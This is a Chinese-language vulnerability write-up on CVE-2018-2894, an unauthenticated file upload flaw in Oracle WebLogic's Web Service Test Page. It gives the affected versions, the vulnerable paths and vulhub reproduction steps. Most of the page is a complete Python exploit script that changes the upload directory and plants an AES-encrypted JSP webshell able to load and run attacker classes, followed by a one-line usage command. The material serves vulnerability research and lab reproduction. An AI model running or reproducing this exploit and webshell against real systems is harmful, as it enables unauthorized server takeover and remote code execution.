CVE-2018-2894
WebLogic未授权任意文件上传
在 Weblogic Web Service Test Page 中存在一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp文件,进而获取服务器权限。
影响范围 1 2 3 4 5 Oracle WebLogic Server版本 10.3.6.0 12.1.3.0 12.2.1.2 12.2.1.3
影响页面 1 2 3 4 5 6 7 8 该漏洞的影响模块为web服务测试页,在默认情况下不启用。 /ws_utc/config.do /ws_utc/begin.do 通过测试在10.3.6版本上未发现该功能 登录控制台 -> base_domain -> 高级 -> 勾选启用Web服务测试页 -> 保存
漏洞复现 /root/Oracle/Middleware/user_projects/domains/base_domain
https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
https://blog.riskivy.com/weblogic-cve-2018-2894/
查看账号密码
进行登入
登录控制台 -> base_domain -> 高级 -> 勾选启用Web服务测试页 -> 保存
漏洞利用 https://github.com/jas502n/CVE-2018-2894
https://github.com/LandGrey/CVE-2018-2894
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 import reimport sysimport timeimport argparseimport requestsimport tracebackimport xml.etree.ElementTree as ETdef get_current_work_path (host ): geturl = f"{host} /ws_utc/resources/setting/options/general" ua = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0' } values = [] try : request = requests.get(geturl) if request.status_code == 404 : exit(f"[-] {host} don't exists CVE-2018-2894" ) elif "Deploying Application" .lower() in request.text.lower(): print ("[*] First Deploying Website Please wait a moment ..." ) time.sleep(20 ) request = requests.get(geturl, headers=ua) if "</defaultValue>" in request.content.decode(): root = ET.fromstring(request.content) value = root.find("section" ).find("options" ) for e in value: values.extend( sub.text for sub in e if e.tag == "parameter" and sub.tag == "defaultValue" ) except requests.ConnectionError: exit(f"[-] Cannot connect url: {geturl} " ) if values: return values[0 ] print ("[-] Cannot get current work path\n" ) exit(request.content) def get_new_work_path (host ): origin_work_path = get_current_work_path(host) works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css" if "user_projects" in origin_work_path: if "\\" in origin_work_path: works = works.replace("/" , "\\" ) current_work_home = origin_work_path[:origin_work_path.find("user_projects" )] + "user_projects\\domains" dir_len = len (current_work_home.split("\\" )) domain_name = origin_work_path.split("\\" )[dir_len] current_work_home += "\\" + domain_name + works else : current_work_home = origin_work_path[:origin_work_path.find("user_projects" )] + "user_projects/domains" dir_len = len (current_work_home.split("/" )) domain_name = origin_work_path.split("/" )[dir_len] current_work_home += f"/{domain_name} {works} " else : current_work_home = origin_work_path print (f"[*] cannot handle current work home dir: {current_work_home} " ) return current_work_home def set_new_upload_path (host, path ): data = { "setting_id" : "general" , "BasicConfigOptions.workDir" : path, "BasicConfigOptions.proxyHost" : "" , "BasicConfigOptions.proxyPort" : "80" } request = requests.post(f"{host} /ws_utc/resources/setting/options" , data=data, headers=headers) if "successfully" in request.content.decode(): return True print ("[-] Change New Upload Path failed" ) exit(request.content) def upload_webshell (host, uri ): set_new_upload_path(host, get_new_work_path(host)) files = { "ks_edit_mode" : "false" , "ks_password_front" : password, "ks_password_changed" : "true" , "ks_filename" : ("test.jsp" , upload_content) } request = requests.post(host + uri, files=files) response = request.text if match := re.findall("<id>(.*?)</id>" , response): tid = match [-1 ] shell_path = f"{host} /ws_utc/css/config/keystore/{str (tid)} _test.jsp" if "test" in requests.get(shell_path, headers=headers).content.decode(): print (f"[+] {host} exists CVE-2018-2894" ) print (f"[+] Check URL: {shell_path} " ) else : print (f"[-] {host} don't exists CVE-2018-2894" ) else : print (f"[-] {host} don't exists CVE-2018-2894" ) if __name__ == "__main__" : start = time.time() password = "test" url = "/ws_utc/resources/setting/keystore" parser = argparse.ArgumentParser() parser.add_argument("-t" , dest='target' , default="http://127.0.0.1:7001" , type =str , help ="target, such as: http://example.com:7001" ) upload_content = '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%><%out.println("test");%>' headers = { 'Content-Type' : 'application/x-www-form-urlencoded' , 'X-Requested-With' : 'XMLHttpRequest' , } if len (sys.argv) == 1 : sys.argv.append('-h' ) args = parser.parse_args() target = args.target target = target.rstrip('/' ) if "://" not in target: target = f"http://{target} " try : upload_webshell(target, url) except Exception as e: print ("[-] Error: \n" ) traceback.print_exc()
1 python3 CVE-2018-2894.py -t http://target-ip:7001
参考 https://blog.riskivy.com/weblogic-cve-2018-2894 https://www.freebuf.com/vuls/178510.html https://www.jianshu.com/p/0b0471aa9bcb https://github.com/111ddea/cve-2018-2894 https://vulhub.org/#/environments/weblogic/CVE-2018-2894/ https://blog.riskivy.com/weblogic-cve-2018-2894/